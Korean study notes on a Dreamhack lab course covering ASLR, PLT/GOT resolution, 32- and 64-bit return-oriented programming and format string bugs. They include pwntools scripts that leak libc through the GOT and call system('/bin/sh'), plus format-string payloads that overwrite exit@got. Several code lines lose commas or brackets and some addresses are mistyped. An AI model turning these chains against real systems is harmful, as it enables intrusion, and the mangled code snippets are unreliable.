본문 바로가기

공부/보안

[dreamhack] System Exploitation 7강

반응형

7강Linux Exploitation & Mitigation Part 2

7.1 Address Space Layout Randomization(ASLR)

Address Space Layout Randomization(ASLR) : 라이브러리, 힙, 스택 영역 등의 주소를 바이너리가 실행될 때마다 랜덤하게 바꿔 정적 주소를 이용한 공격을 막기 위한 보호 기법

 

NX bit는 바이너리의 컴파일 옵션에 따라 적용 여부가 결정

이와 달리 ASLR은 서버의 설정 파일에 의해 보호 기법의 적용이 결정된다.

 

Ubuntu 16.04 에서 /proc/sys/kernel/randomize_va_space 파일의 값을 확인하면 서버의 ASLR 설정 여부를 알 수 있다. 설정 파일의 값으로는 0, 1, 2가 있다.

0 : ASLR을 적용하지 않음

1 : 스택, 힙 메모리를 랜덤화

2 : 스택, 힙, 라이브러리 메모리를 랜덤화

1
2
3
4
5
6
7
8
9
10
11
12
//example3.c
//gcc -o example3 example3.c -m32
#include <stdio.h>
#include <stdlib.h>
int main(void){
  char * buf = (char *)calloc(14096);
  FILE * fp = 0;
  size_t sz = 0;
  fp = fopen("/proc/self/maps""r");
  sz = fread(buf, 14096, fp);
  fwrite(buf, 1, sz, stdout);
}
cs

위 코드는 프로세스 자신의 메모리 맵을 읽어 출력해주는 코드로 서버에 ASLR이 켜져있을 때, 라이브러리, 힙, 스택 영역의 주소가 랜덤하게 바뀌는 것을 확인할 수 있다. 라이브러리 주소가 계속 바뀌기 때문에, 스택 버퍼 오버플로우 취약점을 공격할 때 정적 주소를 이용해 공격을 할 수 없다. 그러나 바이너리 코드 영역의 주소는 변하지 않는 다는 사실로 ASLR 보호 기법을 우회하여 익스플로잇할 수 있다.

→ 라이브러리, 힙, 스택 메모리의 주소는 랜덤으로 변하지만 바이너리의 코드나 데이터 영역들의 주소는 변하지 않는다.

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void){
  char buf[32= {};
  puts("Hello World!");
  puts("Hello ASLR!");
  scanf("%s", buf);
  return 0;
}
cs

위 코드는 scanf 함수로 32바이트 크기의 배열 buf에 데이터를 입력받지만 "%s" 포맷 스트링을 사용하기 때문에 입력 길이의 제한없이 스택 버퍼 오버플로우 취약점이 발생한다.

/bin/sh 바이너리를 실행하기 앞서 readelf로 확인한 스택 메모리의 권한은 RW로, 바이너리에 NX bit가 적용되어 있고, 서버에 ASLR 보호 기법이 적용되어 있다.

스택 오버플로우 취약점을 이용해 스택의 리턴 주소를 덮어보기 위해 main 함수의 디스어셈블리 결과를 보면, scanf함수의 2번째 인자인 buf 배열 주소ebp-0x20 인 것을 알 수 있다.

ebp 레지스터가 가리키는 위치에 스택 프레임 포인터가 존재하고 ebp+4에 main 함수의 리턴 주소가 위치한다.

따라서 "A"*36 + "BBBB" 을 입력할 때 main 함수가 리턴한 후 eip 레지스터의 값이 0x42424242로 바뀐다.

 

7.2 PLT, GOT

위 코드의 디스어셈블리 결과를 보면 puts 와 scanf 함수를 호출할 때 해당 함수 PLT 영역으로 점프하는 것을 볼 수 있다.

 

PLT(Procedure Linkage Table) : 외부 라이브러리 함수를 사용할 수 있도록 주소를 연결해주는 테이블

GOT(Global Offset Table) : PLT에서 호출하는 resolve 함수를 통해 구한 라이브러리 함수의 절대 주소가 저장되어 있는 테이블이다.

 

ASLR 이 적용된 환경에서, 동적으로 라이브러리를 링크해 실행되는 바이너리(Dynamically linked binary)는 바이너리가 실행될 때마다 라이브러리가 매핑되는 메모리의 주소가 변한다.

 

Dynamically linked binary의 경우 바이너리가 실행되기 전까지 라이브러리 함수의 주소를 알 수 없기에 PLT, GOT 영역이 존재한다. 그래서 라이브러리가 메모리에 매핑된 후 라이브러리 함수가 호출되면, 정적 주소를 통해 해당 함수의 PLT와 GOT 영역에 접근함으로써 함수의 주소를 찾는다.

 

puts 함수의 PLT

puts 함수의 GOT

브레이크 포인트를 call puts@plt에 걸어주고 실행한다.

eip는 call puts@plt 이기에 si(step into)로 들어가준다.

puts@plt + 0 에서는 0x804a00c 메모리를 참조해 저장되어있는 값으로 점프한다. 해당 메모리엔 puts@plt + 6 의 주소가 저장되어 있고, puts@plt + 6 에서는 스택에 0을 push 한 후 0x8048310 함수로 점프한다.

주소로 점프했더니 어떤 값을 푸쉬하고 다른 곳으로 점프한다. 여기서 push 되는 값은 link_map 구조체 포인터이다. Link_map 구조체 : ld loader가 참조하는 링크 지도로, 라이브러리 정보를 담고 있다.
이 link_map 구조체를 통해 여러 가지 테이블의 주소를 구할 수 있다.

그 이후에는 0x804a008 주소에 저장되어 있는 f7fee000 함수로 점프한다.

_ dl _ runtime _ resolve 에서 리턴하는 부분을 보면 puts 함수로 점프하는 것을 확인할 수 있다. 즉 0xf7fee000 함수는 호출된 라이브러리 함수의 주소를 알아내는 함수라는 것을 확인할 수 있다.

 

특정 함수의 PLT를 호출하면 함수의 실제 주소를 호출하는 것과 같다. PLT 주소는 고정되어 있어 서버에 ASLR 보호 기법이 적용되어 있어도 PLT로 점프한다면 RTL 과 비슷한 공격이 가능하다.

 

 

위 예시에서 스택 버퍼 오버플로우 취약점을 이용해 리턴 주소를 puts@plt + 6(0x8048326)으로 바꾸고 첫번째 인자는 "Hello World!" 문자열의 주소인 0x8048540 로 바꾼다면

puts 함수가 실행되어 "Hello World!" 문자열이 출력된 것을 확인할 수 있다.

 

그러나 puts 함수가 실행된 후 리턴 주소가 0x42424242 이기 때문에 Segmentation fault 가 발생하여 프로그램이 종료된다.

 

함수가 호출될 때 GOT에 저장된 주소로 점프하기 때문에 GOT에 저장된 값을 바꾸면 원하는 주소로 점프할 수 있다.

위 바이너리에서 main 함수에 브레이크 포인트를 걸고 실행한 후

puts 함수의 GOT인 0x804a00c 메모리의 값을 0xdeadbeef 로 바꾼다.

그 후 프로그램을 이어서 실행하면 puts 가 호출될 때 puts@got 에 저장된 값으로 점프해 eip 레지스터의 값이 0xdeadbeef로 바뀐다.

프로그램에서 한 번 이상 사용하는 라이브러리 함수(PLT에 존재하는 함수)들은 고정 주소로 호출할 수 있다는 것을 알 수 있다.

 

 

더보기

조금 더 깊게 가자면(정리중)

아래에서 puts 함수의 PLT에서 0x8048310 의 주소로 점프한다는 것을 확인했고, 0x804a008 로 점프한다는 것을 확인했다. 따라 들어가보면 _dl _ runtime _ resolve함수가 시작된다. _dl _ fixup 함수를 call 하는 부분에 브레이크 포인트를 걸고 따라 들어가면

위와 같이 _dl _lookup _symbol _ x 라는 함수를 발견했고, 이 부분에도 브레이크 포인트를 걸고 해당 부분까지 실행시킨 다음에 반환된 레지스터 값은 strtab에 들어있는 puts 하는 문자열의 주소가 있다.

STRTAB(문자열 테이블) 프로그램 내에서 쓰이는 각종 심볼들의 string이 들어있다.

 

스택 상태이다. _ dl runtime _ resolve 함수는 dl fixup 이라는 함수를 부른다. 이 함수는 eax, edx 값을 인자로 받아온다. 만약에 puts@plt + 6에서 push 0x10 이라면 reloc _ offset (0x10)을 push할 것이고 link map 구조체를 push 했다.

그리고 _dl _runtime _ resolve 함수로 들어가 eax, ecx, edx를 push 한다. 그 후 esp 를 기준으로 +0x10위치에 있는 것을 dsx 레지스터에 넣고, 0xc위치에 있는 것을 eax 레지스터에 넣는다. _dl fixup 함수는 인자로 (reloc _ offset) link_map 구조체를 사용한다는 것을 알았다.

 

정리한다면, 만약에 ???@ply + 6에서 push -x10을 한다면 이는 reloc_offset을 push하고 Dynamic Linker를 부르고 link_map 구조체 포인터를 push하고 dl _ runtime resolve를 부른다.

 

push한 reloc_offset과 link_map 구조체 포인터를 인자로 해 _dl _fixup 함수가 불리고, _dl _fixup 함수에서는 프로그램 내 쓰인 함수 이름의 문자열들이 저장된 strtab 주소와 got 주소 등을 알 수 있다. strtab 내 함수 이름의 주소를 넘겨주며 _dl lookup _ symbol x 함수를 부르고 여기선 라이브러리 시작 주소, 라이브러리 함수 내에 있는 symtab 주소를 얻는다.

 

다시 _dl _fixup 함수로 돌아오면, symtab내 실제 함수의 오프셋과 라이브러리 시작 주소를 더해 실제 함수의 주소를 알아내고 got에 기록한다.

 

Dynamic Linker는 호출한 함수 이름이 있는 메모리의 주소를 구해 최종적으로 공유라이브러리에 있는 실제 함수의 주소를 구한다.

 

 

7.3 32bit ROP(Return Oriented Programming)

Return Oriented Programming(ROP) : 코드 영역에 있는 다양한 코드 가젯들을 조합해 NX bit와 ASLR 보호 기법을 우회할 수 있는 공격 기법

ROP 기술은 스택 오버플로우와 같은 취약점으로 콜 스택을 통제할 수 있기 때문에 주로 스택 기반 연산을 하는 코드 가젯들을 사용한다.

 

0x8048380:
pop eax
ret

0x8048480:
xchg ebp, ecx
ret

0x8048580:
mov ecx, eax
ret

바이너리 코드 영역에 위와 같은 코드 가젯들이 존재한다. 스택 오버플로우 취약점을 통해 리턴 주소나 그 뒤의 메모리를 원하는 값으로 덮어쓸 수 있다면 위 코드 가젯들로 ebp 레지스터 값을 0xdeadbeef로 바꿀 수 있다.

위 가젯들은 모두 ret 명령어로 끝이 난다. → 하나의 코드 가젯의 실행이 끝난 후 다음 코드 가젯으로 리턴하여 여러 가젯들을 체이닝하여 실행하는 것을 가능하게 해준다.

 

현재 esp 레지스터가 가리키고 있는 메모리를 진하게 표시를 한다. 스택 오버플로우 취약점이 존재하는 함수가 리턴할 때, 리턴 주소가 0x8048380으로 바뀌었기 때문에 0x8048380 으로 점프한다.

 

 

 

0x8048380 에서 pop eax 를 실행하면 eax 레지스터에 현재 esp 레지스터가 가리키고 있는 0x41414141이 들어간다.

 

0x8048380 에 위치한 코드 가젯인 pop eax 를 실행한 후에 ret 을 실행하기 때문에 실행 흐름은 현재 esp 레지스터가 가리키고 있는 0x8048580 으로 분기한다.

 

0x8048580 코드 가젯은 mov ecx, eax 이기 때문에 ecx에 0x41414141이 들어간다.

 

 

이렇게 ret 명령으로 코드 가젯들을 사용하면 여러 가젯을 연결해 하나의 가젯으로는 할 수 없는 것을 한다. 이러한 기술은 마치 리턴을 이용해 여러 코드를 묶어 프로그래밍하는 것과 같아 Return Oriented Programming 이라 불린다.

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void){
  char buf[32= {};
  puts("Hello World!");
  puts("Hello ASLR!");
  scanf("%s", buf);
  return 0;
}
cs

그렇다면 ROP를 이용해 익스플로잇 최종 목표인 system("/bin/sh") 를 실행해보겠다.

첫번째 단계는 system 함수의 주소와 "/bin/sh" 문자열 주소를 찾는 것이다. 프로그램은 실행될 때마다 라이브러리 주소가 랜덤으로 매핑되는데, 한 번 매핑된 라이브러리 주소는 프로그램이 종료될 때까지 바뀌지 않는다는 것을 이용해 system 함수와 "/bin/sh" 문자열의 주소를 찾는다.

 

메모리에 로딩된 libc.so.6 라이브러리의 주소를 구하는 방법을 알아보겠다.

 

앞서 라이브러리 함수를 사용한 후, GOT 에 해당 함수의 주소가 저장된다는 것을 알았다. 바이너리에 존재하는 puts@plt를 이용해 scanf@got에 있는 scanf 함수의 실제 주소를 출력해보겠다.

출력 결과를 보면, Р�� 와 같은 non-printable charactor이 출력된 것을 확인했다. 이는 scanf 함수 주소에 아스키 범위를 넘어간 문자가 있기 때문이다. 동적으로 변하는 아스키 범위 밖의 문자를 읽기 위해 공격 코드를 스크립트로 작성할 필요가 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
 
= process("./example3")
#elf = ELF("./example3")
 
#context.log_level = 'DEBUG'
#gdb.attach(p)
'''
scanf = elf.plt['puts']
log.info('>> =' + hex(scanf))
scanf = elf.got['__isoc99_scanf']
log.info('>> =' + hex(scanf))
'''
 
payload = "A"*0x24
payload += p32(0x8048326) # ret addr puts@plt + 6
payload += p32(0xdeadbeef) # ret after puts
payload += p32(0x804a014) # scanf@got
 
p.sendline(payload)
p.recvuntil('ASLR!\n')
 
leak = p.recv(4)
 
print("leak =" ,hex(u32(leak)))
p.interactive()
cs

위는 코드는 puts 함수를 호출해 scanf@got의 주소를 가져오는 파이썬 스크립트이다.

스크립트를 실행하면 scanf의 주소를 구해 출력하는 것을 볼 수 있다. 구한 scanf 주소와 libc 베이스 주소로부터 scanf 함수 주소까지의 오프셋을 이용해 libc의 베이스 주소를 구할 수 있다.

libc 베이스 주소 = scanf 주소 - libc 베이스 주소로부터 scanf 주소까지의 오프셋

readelf를 이용해 libc.s0.6 파일에서 scanf 함수의 오프셋을 구할 수 있다.

libc 베이스 주소 = scanf 주소 - 0x5c0d0

leak 된 libc.so.6 라이브러리 주소를 이용하여 셸을 얻을 수 있다.

익스플로잇에서 ROP를 통해 scanf 함수를 호출해 scanf@got 에는 system 함수의 주소, scanf@got + 4 에는 "/bin/sh" 문자열을 입력한 후 scanf@plt 를 호출하여 최종적으로 system("/bin/sh")를 실행한다.

 

ROP 체인에서 함수를 호출 할 때, 다음 체인을 실행하기 위해 esp 레지스터를 호출 한 함수의 인자 다음으로 가리키게 해야한다.

 

objdump를 이용해 pop; pop; ret 코드 가젯을 찾아본다.

objdump [-d] [-S] [-I] [obj 파일명]
objdump : 라이브러리, 컴파일된 오브젝트 모듈 등의 바이너리 파일들의 정보를 보여주는 프로그램
-d 옵션 : disassemble, 즉 어셈블리어 코드 목록을 생성한다. (모든 섹션을 다 디스어셈블 해보고 싶으면 -D)
-S 옵션 : 소스코드를 최대한 보여주는 옵션이다.
-I 옵션 : 소스코드에서의 line을 보여주는 옵션

objdump 결과를 보면 0x80451a 주소에 pop; pop; ret 코드 가젯이 존재하는 것을 알 수 있다.

위의 정보를 토대로 페이로드를 작성할 수 있다.

from pwn import *

p = process("./example3")
e = ELF("./example3")

context.log_level = 'DEBUG'
#gdb.attach(p)
'''
scanf = elf.plt['puts']
log.info('>> =' + hex(scanf))
scanf = elf.got['__isoc99_scanf']
log.info('>> =' + hex(scanf))
'''

payload = "A"*36
payload += p32(0x8048326) # ret addr puts@plt + 6
payload += p32(0x804851b) # ret after puts
payload += p32(0x804a014) # scanf@got
payload += p32(e.plt['__isoc99_scanf'])
payload += p32(0x804851a)  # pop; pop; ret
payload += p32(0x8048559)  # "%s"
payload += p32(e.got['__isoc99_scanf'])
payload += p32(e.plt['__isoc99_scanf'])
payload += p32(0xdeadbeef)
payload += p32(e.got['__isoc99_scanf']+4)

p.sendline(payload)
p.recvuntil('ASLR!\n')

leak = int(u32(p.recv(4)))
print("leak =", hex(leak))
libc = leak - 0x5c0d0
print("libc =", libc)
system = libc + 0x3adb0
print("system =", hex(system))
p.sendline(p32(system)+"/bin/sh\x00")

#leak = 

#print("leak =" ,leak)

print "[+] get shell"
num = p.recv(1024)
print(num)
p.interactive()
"A"*36 + puts@plt + pop_ret + scanf@got

"A"를 36개를 보내주고, puts함수를 실행시켜 scanf의 실제 주소를 leak 해준다. 그리고 리턴을 할 때에 pop ret 로 인자를 정리해준다.

scanf@plt

scanf 실행하는데, 이후 system주소 "/bin/sh\x00"로 scanf 입력을 받음

pop pop ret + string_fmt + scanf@got

scanf format은 "%s", 문자열 저장 주소는 scanf@got 에 system + "/bin/sh\x00"을 저장했다.

scanf@plt + 0xdeadbeef + scanf@got+4 

위의 scanf가 처리되고 pop pop ret에 의해 최종적으로 이 scanf@plt 로 이동하지만 scanf@plt는 scanf@plt는 scanf@got로 이동하고, scanf@got에는 위에서 scanf로 입력받은 system 주소가 들어있다. scanf 리턴 주소는 0xdeadbeef로 system 함수 인자로써 scanf@got+4 로 system 주소 4바이트 뒤에 "/bin/sh\x00"가 들어있다.

→ system("/bin/sh\x00") 실행

 

 

 

7.4 64bit Return Oriented Programming 

32bit 아키텍쳐에서는 함수 호출시 인자를 스택에 저장하는 반면 64bit 아키텍쳐에서는 함수의 인자를 레지스터와 스택에 저장해 전달한다.

1
2
3
4
5
6
#include <stdio.h>
int main()
{
    printf("%d + %d = %d\n %d + %d = %d\n",1,2,3,4,5,9);
    return 0;
}
cs

위의 코드는 64bit 아키텍쳐의 함수 호출 규약을 확인하기 위해 printf 함수에 7개의 인자를 전달해 호출하는 코드이다.

printf 함수 호출 이전에 인자를 각각 레지스터와 스택에 넣고 호출한다. 디스어셈블리 결과를 보면 64bit에서 함수가 호출될 때 전달되는 인자는 아래와 같다.

 

 

rdi, rsi, rdx, rcx, r8, r9 레지스터를 전부 사용하면 다음 인자부터는 스택에 저장한다. 64bit 아키텍쳐에서는 pop과 같은 명령어를 통해 함수의 인자를 전달하는 방법을 사용한다.

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <unistd.h>
void gadget() {
    asm("pop %rdi");
    asm("pop %rsi");
    asm("pop %rdx");
    asm("ret");
}
int main()
{
    char buf[256];
    write(1"Data: "6);
    read(0, buf, 1024); 
    return 0;
}
cs

 

objdump 를 사용해 pop rdi; pop rsi; pop rdx; ret 코드 가젯의 주소를 알아내야 한다.

해당 코드 가젯은 0x40056a 주소에 존재한다. 찾은 코드 가젯을 이용해 write 함수를 호출한 뒤 write@got에 저장되어 있는 값을 출력해 라이브러리 주소를 알아낸다.

 

알아낸 이후 라이브러리 주소를 통해 write@got 를 system 함수로 덮어쓰고 "/bin/sh" 문자열을 입력한다.

 

최종적으로 write 함수를 호출하고 "/bin/sh" 문자열의 주소인 0x601020을 첫번째 인자로 전달하면 셸을 획득할 수 있다.

 

라이브러리의 베이스 주소와 system 함수 주소를 계산하기 위해 readelf를 사용해 오프셋을 알아야 한다.

라이브러리의 write의 함수 오프셋은 0xf7370, system 함수의 오프셋은 0x45390 이다.

 

출력된 write@got 값과 라이브러리 write 함수 오프셋을 계산해 라이브러리의 베이스 주소를 알아내고, system 함수 오프셋과 덧셈 연산을 하여 system 함수 주소를 알아낼 수 있다.

 

write@got 에 입력을 받을 때 system 함수 주소와 "/bin/sh" 문자열을 입력하고, write 함수를 호출할 때 인자로 0x601020 주소를 전달하면 셸을 획득할 수 있다.

pop pop pop ret + 1(fd) + write@got + 8(바이트 수) + write@plt

write(1, write@got, 8)

pop pop pop ret + 0(fd) + write@got + 8 + read@plt

read(0, write@got, 8)

pop pop pop ret + /bin/sh + 0 + 0 + write@plt

write("/bin.sh", 0, 0)

해주고 system 함수의 주소와 /bin/sh\x00 을 보내주면 된다.

 

 

7.5 32bit ROP(Return Oriented Programming)

포맷 스트링 버그 : printfsprintf와 같은 포맷 스트링을 사용하는 함수에서 사용자가 포맷 스트링 문자열을 통제할 수 있을 때 발생하는 취약점이다.

 

포맷 스트링에는 다양한 종류가 있고, 주어진 인자에 대해 각 포맷 별로 정해진 기능을 수행한다. 만약 공격자가 이러한 포맷 스트링을 조작할 수 있다면, printf 함수의 인자가 저장되는 스택의 내용을 읽거나 %n, %s 등 메모리 참조 포맷 스트링을 이용해 메모리 커럽션을 유발할 수 있다.

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char flag_buf[50];
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}
int main()
{
    FILE *fp;
    char buf[256];
    initialize();
    memset(buf, 0sizeof(buf));
    fp = fopen("./flag""r");
    fread(flag_buf, 1sizeof(flag_buf), fp);
    printf("Input: ");
    read(0, buf, sizeof(buf)-1);
    printf(buf);
    return 0;
}
cs

 

위 코드는 "flag" 파일을 읽고 전역 변수 변수 flag_buf 에 저장한다. 그리고 지역 버퍼인 buf에 입력을 받고 printf 를 사용해 출력하지만 사용자의 입력이 포맷 스트링으로 그대로 들어가기 때문에 스트링 버그가 발생한다. 목표는 flag_buf 에 저장된 flag 파일의 내용을 포맷 스트링을 통해 읽는 것이다.

 

포맷 스트링 버그가 존재하면 포맷 스트링이 참조하는 버퍼에 공격자의 값을 쓸 수 있는지, 입력한 데이터가 몇 번째 포맷 스트링에 참조되는지를 우선 알아야 한다. 변조 가능한 데이터가 포맷 스트링에 의해 참조되면 임의 주소에 값을 쓰거나 읽는 것이 가능하다.

 

fsb를 확인해보면 처음 입력 값 "AAAA"가 두 번째 포맷 스트링에 의해 참조되는 것을 확인했고, 이 값은 printf 가 호출될 때 스택 포인터의 값을 확인하면 알 수 있다.

 

처음에 입력 4바이트의 값이 특정 메모리 주소라면, 해당 포인터를 참조하는 포맷 스트링을 사용했을 때 입력 주소에 값을 쓰거나 읽을 수 있다.

 

flag_buf의 주소를 심볼을 이용해 gdb에서 알아낼 수 있다.

(gdb) info var flag_buf

입력 첫 4 바이트에 0x0804a080 주소를 입력하여 두 번째 포맷 스트링을 참조할 때 해당 주소를 참조하도록 한다.

 

특정 문자열을 출력할 떄 "%s" 포맷 스트링을 사용해 다음과 같이 저장된 주소의 문자열을 출력하는데, 만약 [flag_buf의 주소].%x.%s"을 삽입한다면 "%s" 포맷 스트링을 처리할 때 printf("%s", 0x804a080)의 결과를 출력한다.

 

만약 사용자의 입력 값이 몇번째에 포맷 스트링에서 참조하는지 모를때 해당 포맷 스트링을 입력해 접근해야 한다. 이때는 [flag_buf의 주소]%2$s 를 입력한다.

 

"%N$"는 N번째 매개 변수를 특정 포맷 스트링으로 처리할 때 사용한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}
void get_shell() {
    system("/bin/sh");
}
int main()
{
    char buf[256];
    initialize();
    memset(buf, 0sizeof(buf));
    printf("Input: ");
    read(0, buf, sizeof(buf)-1);
    printf(buf);
    exit(0);
}
cs

위 코드는 포맷 스트링 버그가 발생하고, exit 함수가 호출되어 프로그램이 종료되는 예제이다. 포맷 스트링 버그가 발생한 이후에 호출되기에 exit@got 를 조작할 수 있다면 주어진 get_shell 함수로 실행 흐름을 조작한다.

 

"n"은 출력된 문자의 길이 수를 전달된 매개 변수에 쓰는 포맷 스트링이다. 실제로 공격할 때에는 큰 값이 대다수이다.

 

예를들어 0x41414141 란 값을 쓰기 위해 문자열의 길이가 1094795585(0x41414141의 10진수)이여야 하는데, 입력할 수 있는 길이가 한정되어 있다면 다음과 같이 해결할 수 있다.

 

"%1024c" 는 1024 길이의 공백을 포함한 문자를 "c" 포맷 스트링으로 출력하는 것이기 때문에 이를 사용해 원하는 길이 만큼 화면에 문자를 출력할 수 있다. 해당 방법을 사용하면 입력할 수 있는 버퍼가 한정적이라도 원하는 문자열의 길이를 출력해 임의 주소에 원하는 값을 쓸 수 있다.

 

그럼 "%Nc"와 "n" 포맷 스트링을 사용해 exit@got를 원하는 값으로 덮어써보기 위해 exit@got, get_shell 주소를 구한다.

 

(gdb) i func get_shell
print "\x24\xa0\x04\x08%1024c%1$n" 
exit@got 주소 %1024c%1$n

위는 포맷 스트링을 사용해 덮어쓴 결과 1024(0x400)이 아닌 0x404 값이 덮어써진 것을 확인 할 수 있다.

 

이유로 "n"은 출력한 문자열의 길이 값을 전달된 인자에 쓰는 포맷 스트링이다. 공격 코드의 경우 "%1024c"로 1024 바이트만큼 출력했지만, 앞 부분에 입력한 exit@got 주소, 즉 4 바이트가 포함되어 있기 때문에 1028(0x404) 값이 덮어써진 것이다.

print "\x24\xa0\x04\x08%134514229c%1$n"

그래서 get_shell 의 주소인 134514233 - 4 바이트를 화면에 출력한 후 덮어쓰게 한다.

 

만약 입력받을 수 있는 길이가 충분하면 여러 개의 주소를 입력해 여러 포인터를 참조하여 읽고 쓰는 것이 가능하다. exit@got+2 주소와 exit@got 주소를 입력하고 "x" 포맷 스트링을 통해 출력한 결과이다.

print "\\x26\\xa0\\x04\\x08\\x24\\xa0\\x04\\x08%x.%x.%x" 
Input: &$804a026.804a024.252e7825

출력 결과는 두 개의 주소가 쓰여진 것을 확인할 수 있고 공격할 때 포맷 스트링 인자 중 각각 첫번째, 두번째 인덱스를 참조하면 두 개의 주소 모두 덮어쓸 수 있다는 것을 짐작할 수 있다.

 

2 바이트를 나눠 덮어써 공격을 해 쓰는 값 또한 2바이트가 되어야 한다. 그래서 "hn" 포맷 스트링을 사용한다.

print "\\x26\\xa0\\x04\\x08\\x24\\xa0\\x04\\x08%2044c%1$hn%32309c%2$hn"

먼저 exit@got+2 주소에 "%2044c" 만큼 출력해 "hn" 포맷 스트링을 통해 2052(0x0804)를 덮어쓰고, exit@got를 참조해 get_shell 함수의 하위 2 바이트인 0x8639(34361)를 덮어쓰지만, 화면에 이미 출력된 문자열의 길이를 고려해야 한다.

 

앞서 0x0804 만큼 출력을 했기에 0x8639 - 0x804 연산을 통해 나온 32309를 화면에 출력하면 이후에 "n" 포맷으로 인해 덮어쓸 값이 0x8639가 된다.

"%hn" 포맷을 이용해 exit@got 주소에 0x8639값을 쓰면 성공적으로 exit@got 를 get_shell 함수의 주소로 조작할 수 있다.

 

 


Review(7강 Linux Exploitation & Mitigation Part 2)

ASLR(Address Space Layout Randomization)

  • 메모리 커럽션 취약점에 대한 공격을 어렵게 하기 위해 메모리 주소 공간을 랜덤화하는 보호 기법으로 서버에 ASLR이 설정되어 있으면 바이너리가 실행될 때마가 힙, 라이브러리, 스택 메모리 영역의 주소가 랜덤으로 바뀐다.

 

Got overwrite

  • 바이너리에서 라이브러리 함수를 호출하면 해당 함수의 PLT 영역으로 점프하는데, GOT 영역을 참조해 GOT에 함수의 주소가 없으면 호출된 함수 주소를 구해 GOT 영역에 저장한다 -> ASLR이 설정되어 있는 환경에서 PLT, GOT 영역의 주소는 변하지 않아 이 특징을 이용해 ASLR을 우회할 수 있다.

 

ROP(Return Oriented Programming)

  •  바이너리 코드 영역의 여러 코드 가젯들을 조합하여 체이닝해 ASLR 보호기법을 우회하는 공격 기법

 

FSB

  • 사용자의 입력이 printf 와 같은 함수 인자 그대로 전달되어 발생하는 취약점으로 임의 주소에 존재하는 값을 읽고, 덮어쓰는 방법

 


PLT, GOT 영역 : 랜덤하게 변하는 라이브러리 함수의 주소를 찾기 위해 존재하는 영역

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

반응형